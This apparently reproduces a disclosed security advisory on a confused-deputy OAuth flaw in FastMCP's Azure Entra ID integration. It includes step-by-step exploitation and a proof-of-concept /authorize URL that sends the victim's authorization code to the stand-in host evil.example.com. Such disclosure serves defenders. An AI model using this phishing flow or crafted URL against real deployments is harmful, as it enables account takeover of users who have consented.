# FastMCP Auth Integration Allows for Confused Deputy Account Takeover

FastMCP's /authorize accepted attacker DCR client_id but delegated to a static Entra ID app, so a consented victim's cookie silently authorized the attacker's redirect_uri, yielding account takeover.

- Payout: Research
- Severity: high
- Program: FastMCP
- Found by: localden
- Disclosed: 2025-10-29
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-c2jp-c369-7pvx
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-c2jp-c369-7pvx
- Tags: area:ai domain:ai domain:web impact:ato kind:research platform:ghsa sev:high tech:azure tech:oauth tech:oidc technique:chained vuln:account-takeover vuln:auth-bypass

**Target:** FastMCP OAuth authorization server /authorize endpoint with Azure Entra ID provider
**Root cause:** FastMCP acts as both OAuth AS to MCP clients and OAuth client to Entra ID, but its /authorize endpoint accepts an arbitrary DCR-registered client_id and redirect_uri while delegating to a single static Entra ID app registration, so the victim's existing Entra consent cookie authorizes the attacker's redirect_uri.
**Steps:**
1. Configure FastMCP with AzureProvider (static Entra ID app registration) and note PRM/AS metadata advertising /authorize, /token, /register.
2. Victim completes first-time Entra ID consent for the static client; Entra sets a browser cookie suppressing future prompts.
3. Attacker registers their own DCR client and starts auth against the same MCP server, obtaining an /authorize URL with `redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug` and their own client_id.
4. Attacker sends that link to the consented victim (phishing/spam).
5. Victim clicks; FastMCP redirects to login.microsoftonline.com with the static client_id and its own redirect_uri, and the existing cookie auto-approves with no prompt.
6. Authorization code is returned to `https://evil.example.com`; attacker exchanges it at /token and accesses the MCP server as the victim.
**How found:** Reporter read the PRM and AS metadata, noticed authorization_servers pointed at the MCP server itself, and observed that the /authorize call's client_id/redirect_uri differ from the downstream login.microsoftonline.com call using the static app registration — revealing the confused-deputy gap.
**Exploitation:** Attacker needs a victim who previously consented to the FastMCP static Entra ID app (cookie present). They craft an /authorize URL with their own DCR client_id and attacker-controlled redirect_uri, phish it to the victim; the silent Entra flow returns the code to the attacker's callback, which they exchange for a token granting MCP access as the victim.
**Insight:** When a proxy/aggregator is both OAuth AS and OAuth client, check whether the client-supplied client_id/redirect_uri are actually bound to the downstream static app; if the downstream consent cookie is shared across all DCR clients, any attacker redirect_uri inherits the victim's consent.

## Proof of concept (copied exactly from the original report)

**Attacker's /authorize request with evil redirect_uri**

```
http://localhost:8000/authorize?response_type=code&client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd&code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug&state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp
```

**FastMCP AzureProvider PoC server config**

```
from fastmcp import FastMCP
from fastmcp.server.auth.providers.azure import AzureProvider

# The AzureProvider handles Azure's token format and validation
auth_provider = AzureProvider(
    client_id="f527ed01-9725-45bd-8173-8d3a017ba02f",  # Your Azure App Client ID
    client_secret="#####~######_#######",                 # Your Azure App Client Secret
    tenant_id="412e93fe-74e5-4ee6-9b67-1eeb1c79550e", # Your Azure Tenant ID (REQUIRED)
    base_url="http://localhost:8000",                   # Must match your App registration
    required_scopes=["User.Read", "email", "openid", "profile"],  # Microsoft Graph permissions
    # redirect_path="/auth/callback"                  # Default value, customize if needed
)

mcp = FastMCP(name="Azure Secured App", auth=auth_provider)
```

